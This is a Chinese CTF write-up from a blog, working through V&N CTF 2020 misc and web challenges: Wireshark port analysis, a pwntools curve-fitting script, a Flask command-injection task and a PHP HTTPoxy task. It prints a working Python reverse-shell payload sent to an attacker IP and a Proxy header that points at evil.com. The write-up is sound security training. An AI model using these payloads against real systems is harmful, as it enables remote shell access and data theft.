复现-V&N CTF 2020
VNCTF 2020
misc
签到
真*签到

flag{welcome_to_vn}
知识点:有手就行
拉跨的三条命令
题目附件是一个zip文件,解压之后得到两个文件:

在参加网络安全大赛第二届世界巡回赛新加坡站一场与SP战队的比赛时,作为K&K战队主防手的你使用经典的“三条命令”检查端口封闭状况。可是这次比赛平台没有回显,你能查出来有哪些端口是开放的嘛?
请将开放端口按由小到大顺序写入flag中 如:开放1、22、234端口,flag{122234}
由此可知,我们需要在流量包里寻找指定的开放端口并组成我们的flag。
为了方便查看端口,我们在wireshark中的调整为解析传输层地址,结果如下:

发现801、631两个端口

发现21端口

22、3306端口开放
因此flag{21226318013306}
知识点:wireshark
ML 第一步
hint:

题目的意思大概是,给出十组数据,进行曲线拟合。

使用python中的pwntools和numpy尝试解决:
import numpy as np
from pwn import remote
import re
p = remote("node4.buuoj.cn", 28788) # 进行远程连接
p.recvline() # 接受一行输入,recvlines(N)接受N行输入
p.sendline('yoshino-s') # 发送payload,此处为题目要求的name
for i in range(4):
print(p.recvline())
p.sendline()
s = []
for i in range(70):
s.append(p.recvline())
def process(s):
xa = []
ya = []
for i in s:
v = str(i, encoding='utf-8').split(',') # j
x = float(v[0][2:])
y = float(v[1][2:-2])
xa.append(x)
ya.append(y)
return (np.array(xa), np.array(ya))
(x, y) = process(s)
z1 = np.polyfit(x, y, 10)
p1 = np.poly1d(z1)
print(p1)
p.recvline()
p.sendline()
for i in range(10):
q = p.recvline()
xi = float(re.compile(b'When x=([0-9\.]+),y=?').findall(q)[0])
p.sendline(str(p1(xi)))
print(xi, p1(xi))
p.interactive()

flag{2d637287-bdf0-4577-ad4b-ba9e006d5a3d}
知识点:pwntools、Machine Learning
web
checkin
题目中给定了一个脚本

整理之后如下:
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell') #shell可以执行系统命令
def shell():
os.system("rm -f flag.txt") # 执行shell函数时会删除flag文件
exec_cmd = request.args.get('c') # 利用参数c来写入系统命令
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
由于程序在最开始打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,pid就是进程记录的打开文件的序号.
因此利用在ecs本地监听8089端口,并在题目界面发起请求:

/shell?c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的ip",8089));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27

成功拿下flag:flag{816e3169-b2b1-4562-bd2a-71bde5e63a69}
知识点:RCE、Linux基础
TimeTravel
打开靶机,顺便查看一下php版本


源码如下:
<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
highlight_file(__FILE__);
if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}
if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}
if(isset($_GET['phpinfo'])) {
phpinfo();
}
传入flag参数,服务器会向http://127.0.0.1:5000/api/eligible发送GET请求,并解析数据。如果服务返回success的话,就会自动读取flag文件。
如果是传入一个文件,则会在页面显示文件内容。
如果是传入phpinfo则会执行phpinfo。

从phpinfo中可知,是以cgi的方式运行的()
此题的利用姿势可以参考以下内容:
因此我们可以利用HTTPoxy漏洞(CVE-2016-5385),通过提交类似于Proxy: http://evil.com的恶意HTTP头,将网站的代理设置为http://evil.com,窃取数据包中可能存在的敏感信息来获得flag。

阿里云ecs上frp内网穿透一直失败,待更新
本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/16081217.html

浙公网安备 33010602011771号